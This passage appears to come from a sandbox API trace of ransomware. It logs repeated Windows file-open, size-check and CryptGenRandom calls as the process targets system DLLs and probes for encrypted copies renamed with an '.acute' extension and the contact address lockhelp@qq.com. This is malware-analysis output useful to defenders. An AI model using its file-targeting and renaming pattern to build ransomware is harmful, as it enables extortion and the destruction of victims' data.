dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.269] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=518) returned 1 [0274.269] CloseHandle (hObject=0x30c) returned 1 [0274.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg")) returned 0x20 [0274.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.269] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.270] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=588) returned 1 [0274.270] CloseHandle (hObject=0x30c) returned 1 [0274.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg")) returned 0x20 [0274.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.270] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.270] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=749568) returned 1 [0274.270] CloseHandle (hObject=0x30c) returned 1 [0274.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0274.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.270] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.271] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.271] CloseHandle (hObject=0x30c) returned 1 [0274.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0274.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.271] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.271] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=114688) returned 1 [0274.271] CloseHandle (hObject=0x30c) returned 1 [0274.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll")) returned 0x20 [0274.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.272] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.272] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.272] CloseHandle (hObject=0x30c) returned 1 [0274.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll")) returned 0x20 [0274.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.272] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.272] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=258048) returned 1 [0274.273] CloseHandle (hObject=0x30c) returned 1 [0274.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0274.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.273] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.273] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.273] CloseHandle (hObject=0x30c) returned 1 [0274.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0274.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.274] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.274] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=98304) returned 1 [0274.274] CloseHandle (hObject=0x30c) returned 1 [0274.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll")) returned 0x20 [0274.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.274] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.275] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=303104) returned 1 [0274.275] CloseHandle (hObject=0x30c) returned 1 [0274.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0274.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.275] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.275] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.275] CloseHandle (hObject=0x30c) returned 1 [0274.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0274.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.275] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.276] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.276] CloseHandle (hObject=0x310) returned 1 [0274.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0274.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.276] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.277] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=389120) returned 1 [0274.277] CloseHandle (hObject=0x310) returned 1 [0274.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0274.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.277] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.277] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=249856) returned 1 [0274.277] CloseHandle (hObject=0x310) returned 1 [0274.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0274.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.277] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.277] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.277] CloseHandle (hObject=0x310) returned 1 [0274.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0274.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.278] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.278] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=57344) returned 1 [0274.278] CloseHandle (hObject=0x310) returned 1 [0274.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0274.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.278] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.278] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=58752) returned 1 [0274.278] CloseHandle (hObject=0x310) returned 1 [0274.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll")) returned 0x20 [0274.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.278] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.280] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=5632) returned 1 [0274.280] CloseHandle (hObject=0x310) returned 1 [0274.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0274.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.280] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.281] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=47616) returned 1 [0274.281] CloseHandle (hObject=0x310) returned 1 [0274.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0274.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) 